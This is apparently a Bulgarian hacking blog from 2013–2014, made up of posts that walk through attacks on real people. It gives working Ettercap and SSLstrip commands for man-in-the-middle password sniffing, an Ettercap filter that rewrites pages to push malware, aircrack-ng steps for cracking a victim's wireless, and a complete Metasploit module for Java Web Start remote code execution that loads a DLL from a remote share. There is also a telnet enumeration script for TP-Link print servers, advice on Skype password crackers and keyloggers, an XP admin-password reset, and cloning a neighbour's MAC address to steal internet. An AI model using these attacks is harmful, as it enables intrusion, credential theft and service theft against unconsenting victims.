понеделник, 3 март 2014 г.

Проблем с минимизирането на игрите и прозорците

Скоро се натъкнах на един проблем с TP-Link wireless адаптерите, които на 10 сек. те вадят на Desktop. Проблема е от софтуера им и се оправя като дадете Х на програмата после избарете отметката Close и птоблема се решава поне за мен беше така



 Ако не можете да пробвате с регистрите
Start > Пишете regedit > после избирате HKEY_CURRENT_USER > Control Pannel > Desktop
избирате ForegroundLockTimeout  в полето пишете 30d40


Дано това ви помогне ...

вторник, 25 февруари 2014 г.

Програмка четяща логовете в Skype


Много добра програмка позволяваща ви да четете лог-съобщенията. Може да я използвате да четете логовете на висчки потребители влезли от машината.

DOWNLOAD      Пач на Български

Програма за намиране на пароли на Skype



Програмка кракваща пароли в скайп. Ползването е на Ваш риск.

DOWNLOAD

За keylogger програмите


   Тези програмки са изключително популярни сред хакерчетата и най-често се изплозват при физически достъп до машината. С нейна помощ лесно можете да вземете пароли защото тяхната цел е следене на клавиатурните рекгистри/протоколи. Цялата информация се записва на машината в лог файл, като има възможност да се праща и до конфигуриран съсрвър като най често е FTP сървър. Като цяло keylogger програмките представляват конфигуратор които създава ядро което се праща на жертвата. Като най добрия начин е филтриране на HTML кода и подтикване на жертвата да го изтегли. Тъй като голяма част от тези програмки се хващат от антивирусните повечето прибягват към визически достъп и конфигурация при обществени компъютри (интернет зали,офиси и т.н.) Общо взето повечето потребители не знаят или си нямат идея какви могат да бъдат последиците ползвайки чужди компютри и лесно стават жертва. Хора вярваши на идеите като инсталирай програмката за да следиш децата или служителите си какво правят в интернет също стават жертви.
   Как да се предпазим? Използвайте личните си компютри с up to date антивирусна така шансовите драстично намаляват. Възползвайте се от двуфакторните идентификации на системи които позволяват това (facebook, google и т.н.)

събота, 22 февруари 2014 г.

Създаване плугин за Ettercap заместващ HTML код


Здравейте ще ви запозная с още една MITM атака .. За целта ползваме отново BackTrack дестрибуцията и Ettercap , като към него създаваме специален плугин заместващ HTML код. Така сърфиращата жертва лесно можете да я прилъжете да дръпне някой ваш експлойт или вирус.
Създаване на плугина:
  1. Създавате smb.filter файл със съдържание:
          if(ip.proto == TCP && tcp.dst == 80) {
          if(search(DATA.data, "Accept-Encoding")) {
          replace("Accept-Encoding", "Accept-Rubbish!");

          msg("zapped Accept-Encoding!\n");
         }
         }
         if(ip.proto == TCP && tcp.src == 80) {
         replace("html код за заместване ", "нов html код");
         replace(
"html код за замесване", "нов html код");
         msg("Filter Ran.\n");
        }

         Пример:
     
    2.   Компилиране на файла - etterfilter smb.filter -o smb.ef
          След компилирането изхода трябва да е такъв или подобен:
                
                    -> Script encoded into 16 instructions.

    3. Стартиране на Ettercap-a
           
               ettercap -T -q -F smb.ef -M ARP /[ипто на жертвата]/ // -P autoadd -i waln0



Практически с тези операции можете да подмените всякакъв html код на жертвата.
Приятно тестване!

Подслушване на мрежа за пароли с Ettercap и SSLstrip


Здравейте в тази публикация ще разясня как става визмането на пароли за логин в различни сайтове ... Лично аз съм го тествал за сайтове като gmail.com abv.bg  skype.com facebook.com (без двуфакторна идентификация)
Това е друг вид MITM атака с която ще ви запозная.Като за начало трябва да имате BackTrack и програми към него Ettercap и SSLstrip.
Ettercap - http://ettercap.github.io/ettercap/
SSLstrip - http://www.thoughtcrime.org/software/sslstrip/
Уверете се че те са ъпдейтнати до последни версии.....

Започваме действайте под руут
  1. Конфигуриране на iptables
     iptables --flush
     iptables --table nat --flush
     iptables --delete-chain
     iptables --table nat --delete-chain
     echo 1 > /proc/sys/net/ipv4/ip_forward 

     iptables -t nat -A PREROUTING -i waln0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080   

Тук wlan0  еимето на адаптера през които правим forwarding-a. Тук съм използвал wireless адаптера (wlan0) на моия комп , но можете да ползвате и ethernet адаптерите eth0 eth1 ... и т.н.
Задължително проверете и ifconfig-a имената ..

     2.   Проверка дали всичко е ОК .. iptables -nvL -t nat
     3.   Стартиране на SSLstrip. Влизате в папката кадето сте го свалили и пишете:
            python sslstrip-0.7/sslstrip.py -a -l 8080 
            или ако сте го инсталирали това - sslstrip -a -l 8080
     4.   Стартиране на Ettercap
            ettercap -TqM ARP:REMOTE // // 
            след като сте го стартирали избирате плугин към него remote_browser
 След стартирането на Ettercap проверете дали forwarding-a в /etc/sysctl.conf
които трябва да е така -> net.ipv4.ip_forward = 1 

 Приятно тестване ...

сряда, 19 февруари 2014 г.

Хакване на паролата на Wireless с WAP кодировка


Хакване на този вид кодировка на wireless e доста лесно атрибутите с които трябва да разполагате са : BackTrack и по възможност малко по стар комп или поне wireless картата ви да поддържа хакнатите драйвъри с които ще можете да си настроите компа да подслушава излъчването на сигналите ...

Ето стъпка по стъпка какво трябва да се прави:
  1. Трябва ви инсталиран aircrack-ng - http://www.aircrack-ng.org/ Практически backtrack-a има инсталиран. По добре е да го обновите отколкото да се мъчете да инсталирате новия , а тук ще ви трябват и малко познания и за линукс средите , които мисля да засегна в други теми като базова информация ..
  2. Всички операции трябва да действате под root
  3. Сега отваряте конзолата и пишете
  4. airmon-ng start wlan0 - Тази команда стартира вашия wireless адаптер за работи като подслушвашта система като използва хакнати драйвъри. Не е задължително след старта името на вашето wireless устройство да се кава wlan0 Преди с стартирате командата трябва да проверите в ifconfig-a как се нарича. След правилното изпълнение на командата ще ви маунтне друго устройство mon0 което пак не е задължително да се казва така ... Тези неща трябва да ги проверите много внимателно защото неправилното изпълнение на тази операция няма да даде резултат :)
  5. airodump-ng mon0 - Стартиране на подслушването през новото маунтнато устройство
  6. airodump-ng -c 11 -w do0ms --bssid 74:EA:3A:E3:E7:14 mon0 Филтриране на подслушването и записването му в файл do0ms(може да е какво ти изберете име),            -c 11(подслушване на канал 11), --bssid 74:EA:3A:E3:E7:14(мак адреса на wireless рутера които искаш да вземеш паролата)
  7. aireplay-ng -1 0 -a 74:EA:3A:E3:E7:14 -h 00:26:B6:F0:E6:EF mon0 Изпращане на пакети за disconnect Като тук -h 00:26:B6:F0:E6:EF е мак адреса на жертвата (лаптоп закачен към рутера на които искате да вземете паролата )
  8. aireplay-ng -3 -b 74:EA:3A:E3:E7:14 -h 00:26:B6:F0:E6:EF mon0 
  9. aircrack-ng -b 74:EA:3A:E3:E7:14 do0ms-01.cap  Декодиране на паролата
Като цяло този тип атаки се водят "мен ат дъ мидъл".

Успех на тестващите! Ако имате въпроси оставете коментар ..

четвъртък, 20 юни 2013 г.

Дупка в - imacs CMS 0.3.0



Към 19.6.2013 няма реакция от разработчиците на уеб системата
можете да изтеглите файла от ТУК . В него е обяснено от авторите как да атакувате системата.

Дупка в Java Web Start

Това е един доста грозен недостатък който до момента на тази публикация няма реакция от Java SUN. Експлойтът предоставен от Metasplоit позволява да се инжектира -XXaltjvm   за да заредите Jvm.dll от отдалечено разстояние , което позволява на атакуващия да изпълни произволен код чрез браузъра на потребителя ..
Уязвими версии на Java от 1.6.31 до 1.6.35 и от 1.7.03 до .1.7.07

Автор Rh0

Ето кода:

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    #
    # This module acts as an HTTP server
    #
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Sun Java Web Start Double Quote Injection',
            'Description'    => %q{
                    This module exploits a flaw in the Web Start component of the Sun Java
                Runtime Environment. Parameters intial-heap-size and max-heap-size in a JNLP
                file can contain a double quote which is not properly sanitized when creating
                the command line for javaw.exe. This allows the injection of the -XXaltjvm
                option to load a jvm.dll from a remote UNC path into the java process. Thus 
                an attacker can execute arbitrary code in the context of a browser user.
                This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.
                In order for this module to work, it must be ran as root on a server that
                does not serve SMB. Additionally, the target host must have the WebClient
                service (WebDAV Mini-Redirector) enabled. Alternatively an UNC path containing
                a jvm.dll can be specified with an own SMB server.
            },
            'Author'         => 
                [
                    # NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 (Rev: 4369f73c)
                    'Rh0 ',   # discovery and msf module
                ],
            'Version'        => '0.0',
            'References'     =>
                [
                    [ 'URL', 'http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/java_ws_vmargs.rb' ],
                    [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
                ],
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => '',
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
                },
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                    [ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
                        {
                            'Platform' => 'win',
                            'Arch' => ARCH_X86
                        }
                    ],
                ],
            'DefaultTarget'  => 0,
            ))
        register_options(
            [
                OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
                OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
                OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
            ], self.class)
    end
    def auto_target(cli, request)
        agent = request.headers['User-Agent']
        ret = nil
        #print_status("Agent: #{agent}")
        # Check for MSIE and/or WebDAV redirector requests
        if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
            ret = targets[1]
        elsif agent =~ /MSIE (6|7|8)\.0/
            ret = targets[1]
        else
            print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
        end
        ret
    end
    def on_request_uri(cli, request)
        # For this exploit, this does little besides ensures the user agent is a recognized one..
        mytarget = target
        if target.name == 'Automatic'
            mytarget = auto_target(cli, request)
            if (not mytarget)
                send_not_found(cli)
                return
            end
        end
        # Special case to process OPTIONS for /
        if (request.method == 'OPTIONS' and request.uri == '/')
            process_options(cli, request, mytarget)
            return
        end
        # Discard requests for ico files
        if (request.uri =~ /\.ico$/i)
            send_not_found(cli)
            return
        end
        # If there is no subdirectory in the request, we need to redirect.
        if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
            if (request.uri == '/')
                subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
            else
                subdir = request.uri + '/'
            end
            print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
            send_redirect(cli, subdir)
            return
        else
            share_name = $1
        end
        # dispatch WebDAV requests based on method first
        case request.method
        when 'OPTIONS'
            process_options(cli, request, mytarget)
        when 'PROPFIND'
            process_propfind(cli, request, mytarget)
        when 'GET'
            process_get(cli, request, mytarget, share_name)
        when 'PUT'
            print_status("Sending 404 for PUT #{request.uri} ...")
            send_not_found(cli)
        else
            print_error("Unexpected request method encountered: #{request.method}")
        end
    end
    #
    # GET requests
    #
    def process_get(cli, request, target, share_name)
        print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        # dispatch based on extension
        if (request.uri =~ /\.dll$/i)
            #
            # DLL requests sent by IE and the WebDav Mini-Redirector
            #
            print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
            # Re-generate the payload
            return if ((p = regenerate_payload(cli)) == nil)
            # Generate a DLL based on the payload
            dll_data = generate_payload_dll({ :code => p.encoded })
            # Send it :)
            send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
        elsif (request.uri =~ /\.jnlp$/i)
            #
            # Send the jnlp document
            #
            # Prepare the UNC path...
            if (datastore['UNCPATH'])
                unc = datastore['UNCPATH'].dup
            else
                my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
                unc = "\\\\" + my_host + "\\" + share_name
            end
            # NOTE: we ensure there's only a single backslash here since it will get escaped
            if unc[0,2] == "\\\\"
                unc.slice!(0, 1)
            end
            http_agent = Rex::Text.rand_text_alpha(8+rand(8))
            # use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
            # inject a parameter into the command line of javaw.exe
            # codebase, href and application-desc parameters successfully suppress java splash
            jnlp_data = <<-eos span="">
   #{Rex::Text.rand_text_alpha(rand(10)+10)}
   #{Rex::Text.rand_text_alpha(rand(10)+10)}
   #{Rex::Text.rand_text_alpha(rand(10)+10)}
   
EOS
            print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
            send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
        else
            print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
            jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
            jnlp_path = get_resource()
            if jnlp_path[-1,1] != '/'
                jnlp_path << '/'
            end
            jnlp_path << request.uri.split('/')[-1] << '/'
            jnlp_path << jnlp_name << ".jnlp"
            send_redirect(cli, jnlp_path, '')
        end
    end
    #
    # OPTIONS requests sent by the WebDav Mini-Redirector
    #
    def process_options(cli, request, target)
        print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        headers = {
            #'DASL'   => '',
            #'DAV'    => '1, 2',
            'Allow'  => 'OPTIONS, GET, PROPFIND',
            'Public' => 'OPTIONS, GET, PROPFIND'
        }
        send_response(cli, '', headers)
    end
    #
    # PROPFIND requests sent by the WebDav Mini-Redirector
    #
    def process_propfind(cli, request, target)
        path = request.uri
        print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
        body = ''
        if (path =~ /\.dll$/i)
            # Response for the DLL
            print_status("Sending DLL multistatus for #{path} ...")
#45056
            body = %Q|
#{path}
2010-02-26T17:07:12Z
Fri, 26 Feb 2010 17:07:12 GMT
"39e0132-b000-43c6e5f8d2f80"
F
application/octet-stream
HTTP/1.1 200 OK
|
        elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
            # Response for anything else (generally just /)
            print_status("Sending directory multistatus for #{path} ...")
            body = %Q|
#{path}
2010-02-26T17:07:12Z
Fri, 26 Feb 2010 17:07:12 GMT
"39e0001-1000-4808c3ec95000"
httpd/unix-directory
HTTP/1.1 200 OK
|
        else
            print_status("Sending 404 for #{path} ...")
            send_not_found(cli)
            return
        end
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml'
        cli.send_response(resp)
    end
    #
    # Make sure we're on the right port/path to support WebDAV
    #
    def exploit
        if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
            raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
        end
        super
    end
end
=begin
=========================================================
Java Web Start: The next Quote Inject Bug (CVE 2012-1533)
=========================================================
Hello all,
This bug is different from CVE-2012-0500 which was disclosed on Feb. 15 2012, but
allows remote code execution in the same way.
======================
Vulnerability Overview
======================
There exists an input validation vulnerability in at least Java Web Start 1.6.35
and 1.7.07 when parsing JNLP files.
A flaw exists in the routine which performs checks on the parameter values from
a JNLP file. It allows the injection of non escaped double quotes (") into parameters
of the command line of javaw.exe. Parameters "intial-heap-size" and "max-heap-size" in a
JNLP file can contain a double quote which is not properly sanitized when creating
the command line for javaw.exe. This makes it possible to get a command line parameter
with a value consisting only of one double quote injected. Further this allows manipulating
the command line and the injection of e.g. the "-XXaltjvm" option leading to RCE.
======================
Vulnerability Details
======================
Notes:
------
[*] A JNLP parameter will be refered to  by name=value (e.g.: initial-heap-size='64m"' )
[*] Analysis is done on WinXP 32Bit SP3 EN with Oracle JRE 1.6.31
[*] javaws.exe has the base address of 0x00400000 in memory
[*] Arrows (-->) indicate code continuation on next address block
------
Vulnerable program flow:
------------------------
[*] If a JNLP file is opened by javaws.exe, it is read into memory
and saved temporary in %TEMP%.
[*] JNLP parameters are parsed:
[a] Check if a JNLP value begins with a single or a double quote:
(EAX points to a value of JNLP parameter enclosed with single quotes e.g.: '64m"' ; note the double quote inside)
00404D60  MOV CL,BYTE PTR DS:[EAX]      ; CL: 1st char of '64m"' (single quote = 0x27)
00404D62  CMP CL,22                     ; check for double quote
00404D65  MOV DWORD PTR DS:[4227C4],EAX
00404D6A  JE SHORT javaws.00404D9F      ; jmp is not taken
00404D6C  CMP CL,27                     ; check for single quote
00404D6F  JE SHORT javaws.00404D9F      ; jmp is taken -->
...
[b] strip quotes which enclose the JNLP value and store it:
00404D9F  INC EAX                       ; points to 2nd char of JNLP value (1st char after single quote)
00404DA0  MOV DL,CL                     ; DL: 0x27 (single quote)
00404DA2  MOV CL,BYTE PTR DS:[EAX]      ; CL: 2nd char of JNLP value (0x36)
00404DA4  MOV DWORD PTR DS:[4227C4],EAX
00404DA9  MOV ESI,EAX
00404DAB  JMP SHORT javaws.00404DB4     ; start loop
00404DAD  /CMP CL,DL                    ; compare char of JNLP value to single quote
00404DAF  |JE SHORT javaws.00404DB8     ; loop until another single quote in JNLP value is encountered
00404DB1  |INC ESI                      ; increase pointer to chars in JNLP value
00404DB2  |MOV CL,BYTE PTR DS:[ESI]     ; put next char of value into CL
00404DB4   TEST CL,CL
00404DB6  \JNZ SHORT javaws.00404DAD   
00404DB8  PUSH EAX
00404DB9  PUSH 6
00404DBB  MOV EAX,ESI
00404DBD  CALL javaws.00404BF8          ; store stripped JNLP value ( in the example case: 64m" )
...
[*] The stripped JNLP values are used to construct the command line parameter for javaw.exe
(e.g.: for JNLP parameter with name initial-heap-size) :
00401895  PUSH javaws.00418330          ; ASCII: -Xms%s
0040189A  PUSH EBX
0040189B  PUSH EAX
0040189C  CALL javaws.00406D26          ; construct command line parameter with -Xms%s and 64m"
004018A1  LEA EAX,DWORD PTR SS:[EBP-400]; EAX points to command line parameter -Xms64m" (with still one double quote)
...
[*] All constructed command line parameters for javaw.exe are sane checked:
00402B02  CALL javaws.00406911          ; run check routine -->
...
00406911  PUSH EBP
00406912  MOV EBP,ESP
00406914  PUSH EBX
00406915  PUSH ESI
00406916  PUSH EDI
00406917  MOV EDI,DWORD PTR SS:[EBP+10] ; ESI: pointer to pointers to command line parameters
0040691A  XOR EBX,EBX
0040691C  CMP DWORD PTR DS:[EDI],EBX
0040691E  MOV ESI,EDI
00406920  JE SHORT javaws.00406933
00406922  /PUSH DWORD PTR DS:[ESI]      ; push pointer to command line parameter
00406924  |CALL javaws.00406170         ; run check on command line parameter -->
00406929  |MOV DWORD PTR DS:[ESI],EAX
0040692B  |ADD ESI,4                    ; ESI: pointer to next command line parameter
0040692E  |CMP DWORD PTR DS:[ESI],EBX
00406930  |POP ECX
00406931  \JNZ SHORT javaws.00406922    ; loop until end of pointer list
...
00406170  PUSH EBX
00406171  MOV EBX,DWORD PTR SS:[ESP+8]  ; EBX: pointer to command line parameter ( e.g.: -Xms64m" )
00406175  TEST EBX,EBX
00406177  JNZ SHORT javaws.0040617D     ; -->
...
0040617D  MOV EAX,EBX
0040617F  LEA EDX,DWORD PTR DS:[EAX+1]  ; EDX: pointer to command line parameter without hyphen ( Xms64m" )
00406182  /MOV CL,BYTE PTR DS:[EAX]
00406184  |INC EAX
00406185  |TEST CL,CL
00406187  \JNZ SHORT javaws.00406182
00406189  PUSH ESI                      ; pointer to pointer of -Xms64m"
0040618A  SUB EAX,EDX                   ; EAX: length of Xms64m"\x00
0040618C  PUSH javaws.004199B8          ; ASCII \x20\x09 (space and tab)
00406191  PUSH EBX                      ; pointer to -Xms64m"
00406192  MOV ESI,EAX
00406194  CALL javaws.00409590          ; check for space and tab in -Xms64m" ; return 0x0 in EAX if it's not found
00406199  TEST EAX,EAX                  ; EAX: 0x0 for -Xms64m"
0040619B  POP ECX
0040619C  POP ECX
0040619D  JNZ SHORT javaws.004061A8     ; jmp to routine which checks and escapes " and \ is not taken !! The checks are not performed !!
0040619F  PUSH EBX
004061A0  CALL javaws.004127F4          ; copy of -Xms64m" (~ strdup)
004061A5  POP ECX
004061A6  JMP SHORT javaws.00406215     ; jmp over the check routines !! ---------------------> 00406215 
004061A8  CMP ESI,1
004061AB  JLE SHORT javaws.004061B9
004061AD  CMP BYTE PTR DS:[EBX],22
004061B0  JNZ SHORT javaws.004061B9
004061B2  CMP BYTE PTR DS:[ESI+EBX-1],22
004061B7  JE SHORT javaws.0040619F
004061B9  XOR EAX,EAX
004061BB  TEST ESI,ESI
004061BD  LEA EDX,DWORD PTR DS:[ESI+3]
004061C0  JLE SHORT javaws.004061D5
004061C2  /MOV CL,BYTE PTR DS:[EAX+EBX]
004061C5  |CMP CL,22
004061C8  |JE SHORT javaws.004061CF
004061CA  |CMP CL,5C
004061CD  |JNZ SHORT javaws.004061D0
004061CF  |INC EDX
004061D0  |INC EAX
004061D1  |CMP EAX,ESI
004061D3  \JL SHORT javaws.004061C2
004061D5  PUSH EDX
004061D6  CALL javaws.004089CD
004061DB  TEST EAX,EAX
004061DD  POP ECX
004061DE  JE SHORT javaws.00406215
004061E0  XOR ECX,ECX
004061E2  PUSH EDI
004061E3  INC ECX
004061E4  XOR EDI,EDI
004061E6  TEST ESI,ESI
004061E8  MOV BYTE PTR DS:[EAX],22      ; *** prepend command line parameter with double quote
004061EB  JLE SHORT javaws.0040620B
004061ED  /MOV DL,BYTE PTR DS:[EDI+EBX]
004061F0  |CMP DL,22                    ; *** check for "
004061F3  |JE SHORT javaws.004061FA
004061F5  |CMP DL,5C                    ; *** check for \
004061F8  |JNZ SHORT javaws.004061FF
004061FA  |MOV BYTE PTR DS:[EAX+ECX],5C ; *** escape " or \ with \ (" becomes \" and \ becomes \\ )
004061FE  |INC ECX
004061FF  |MOV DL,BYTE PTR DS:[EDI+EBX]
00406202  |MOV BYTE PTR DS:[EAX+ECX],DL
00406205  |INC ECX
00406206  |INC EDI
00406207  |CMP EDI,ESI
00406209  \JL SHORT javaws.004061ED
0040620B  ADD ECX,EAX
0040620D  MOV BYTE PTR DS:[ECX],22      ; *** append command line parameter with double quote to enclose it 
00406210  MOV BYTE PTR DS:[ECX+1],0
00406214  POP EDI
00406215  POP ESI                       ; -----------------> we land here
00406216  POP EBX
00406217  RETN
...
[*] At this point we have circumvented the checks and our JNLP parameter initial-heap-size='64m"' becomes
the command line parameter Xms64m". Basically this happens due to the possibility to enclose double quotes
inside single quoted JNLP values (see [a] and [b]) and unsufficient checking for double quotes inside
the constructed command line parameter (see 0040619D ).
[*] We can now inject command line parameters via the JNLP parameter max-heap-size=" -ParamA=InjectA -ParamB=InjectB "
which will become the command line parameter "-Xmx -ParamA=InjectA -ParamB=InjectB "
[*] The command line for javaw.exe then contains the two parameters after each other, so we get:
javaw.exe [...] -Xms64m" "-Xmx -ParamA=InjectA -ParamB=InjectB " [...] "-another parameter X" "-another parameter Y " [...]
[*] Although the javaw.exe command line is corrupted due to unclosed and wrongly escaped double quotes an injection
works with -XXaltjvm=\IP\evilshare. Javaw.exe will search for a jvm.dll on a remote unc location \\IP\evilshare (which can
be on a webserver) and execute it.
===
Fix
===
[*] This vulnerability was fixed by Oracle in Oct. 2012
http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html
The fix inserted an additional check to "initial-heap-size" and "max-heap-size" parameters.
Comparison between javaws.exe 10.7.2.10 (Java 1.7.07) and javaws.exe 10.9.2.05 (Java 1.7.09) yields the following:
[a] All functions are identical except sub_404BB9 and a new function sub_406E0E was added:
http://s18.postimg.org/gy04n3jw9/diff_1_7_7_1_7_9.png
[b] The only difference in sub_404BB9 between the two versions is the use of sub_406E0E to validate the parameter
values gained by sub_405BD5:
http://s7.postimg.org/hjgnecod7/sub_404bb9_diffed.png
[*] An old deprecated self made fix is available which fixed this issue in a different way, back in the days
when it was a 0day:
http://pastebin.com/9RztwVez
Cheers,
Rh0
=end

Дупка в TP-Link TL PS110U Print Server



При стартиран телнет сървиз атакуващият получава пълен достъп до конфигуриращите настройки. Дупката е открита от SANTHO на 19.06.2013 и до монета на тази публикация няма реакция от производителя.

Пример:

root@bt# ./tplink-enum.py 10.0.0.2
Device Name : 1P_PrintServABCD
 Node ID : AA-AA-AA-AA-AA-AA
 Manufacture: Hewlett-Packard
 Model: HP LaserJet M1005
 Community 1: public Read-Only
 Community 2: public Read-Only
import telnetlib
import sys
host = sys.argv[1]
tn = telnetlib.Telnet(host)
tn.read_until("Password:")
tn.write("\r\n")
tn.read_until("choice")
tn.write("1\r\n")
tn.read_until("choice")
tn.write("1\r\n")
data = tn.read_until("choice")
for i in data.split("\r\n"):
    if "Device Name" in i:
        print i.strip()
    if "Node ID" in i:
        print i.strip()
tn.write("0\r\n")
tn.read_until("choice")
tn.write("2\r\n")
data = tn.read_until("choice")
for i in data.split("\r\n"):
    if "Manufacture:" in i:
        print i.strip()
    if "Model:" in i:
        print i.strip()
tn.write("0\r\n")
tn.read_until("choice")
tn.write("5\r\n")
data = tn.read_until("choice")
for i in data.split("\r\n"):
    if "Community" in i:
        print i.strip()

понеделник, 17 юни 2013 г.

Забрана на CTRL + ALT + DEL

За да забраните опциите трябва да направите следното:

Отваряте gpedit.msc и избирате User Configurations > Administrative Templates > System > Ctrl-Alt-Del Options 
Като кликнете 2 пъти върху опциите които искате да забраните избирате Enabled 
Ето това е :) 

Ето няколко снимки:

неделя, 9 юни 2013 г.

Взимане на администраторска парола в WINDOWS XP...



Имате достъп до акаунт в ЕКС пи-то но на вас ви трябват администраторски права ...
Знам 2 начина.
Първи: Отидете на start>run пишете cmd там в конзолата пишете net user administrator натиснете space+shift+8 и enter.
Ще ви излезе това ред по ред след като си въведете паролата и я повторите:

Type a password for the user:
Retype the password to confirm:
The command completed successfully.

Втори начин: Отидете на start>run пишете mmc натиснете ctrl+m дайте на add изберете Local users and groups после пак add отметка на local computer и натискате finish. В Add\remove Snap-in давате ОК. избирате Local users and groups после users. Дясното копче на Administrator давате Set Password избирате Proceed ....

От там нататък ще се оправите ..

Кражба на интернет с промяна на МАС ...




Криза е ..! :) много от Вас не могат да си платят интернета ....
Тази публикация не я правя за да Ви науча .. а да се стреснат интернет доставчиците ... Че Випросът ми към тях е - До кога ще ползваме незащитен интернет, застрашени от хакерски набези ... 30 лева такса Ви е много .... ! :)

Ето започвам ...

Глупавите доставчици които не могат да си платят на компютърни специялисти позлват тъпите програмки за филтриране по IP и MAC. На кратко IP e вашия локален адрес примерно 192.168.0.1 a МАC адреса (Media Access Control address), физическия адрес е от типа 16 битов примерно 01:23:45:67:89:ab Повече може да прочетете тук -> http://en.wikipedia.org/wiki/MAC_address

Така ... Как се сменят IP-та няма да обяснявам мисля че всеки знае. Ще се спра на MAC. Kak да си намеря МАС-а и как да го сменя се питате?
Отваряте старт/рън и пишете там "cmd". В черния джам, който ви се отвори пишете "ipconfig" и там гледате за Physical Address .... Ще ви излязат dhcp mask IP итемподобни които вас не ви интересуват ... Общи приказки дрън дрън ...

Ето по същество ... Сканираме мрежата с примерно NetScanner програмката ... тя показва ренджа от ип-та примерно 192.168.1.1 до 192.168.1.250 плюс техните МАС адреси. Запазвате сканираната информация примерно с print screen и си я паствате в някой bmp файл. След извесно време пак си правите скан применро вечерта след 12:00 и виждате кои компютри не са в листата (сравнявате ги с bmp файла). Копирате си МАЦ адреса и го поставате за ваш ...
Е как става ... -> Дясното копче на My network places давате propertise, после пак дясното копче на Local area connection и пак propertice. В прозореца които ви искочи давате на Configure излиза ви друг джам ... давате на Advanced избирате Network Address давате отметка за Value стоиност и въвеждате МАС-а след това си сменяте Ip-то.

Е това е имате интернет а човека които прецакахте няма да има докато вашия комп е включен.. За да затрудните малко тъпите доставчици може да си спрете отговорите на компа echo примерно ако се опитват да пингват .. схващате за какво говоря ..

Е дано съм Ви бил малко от полза по-обширна информация не мисля да давам :)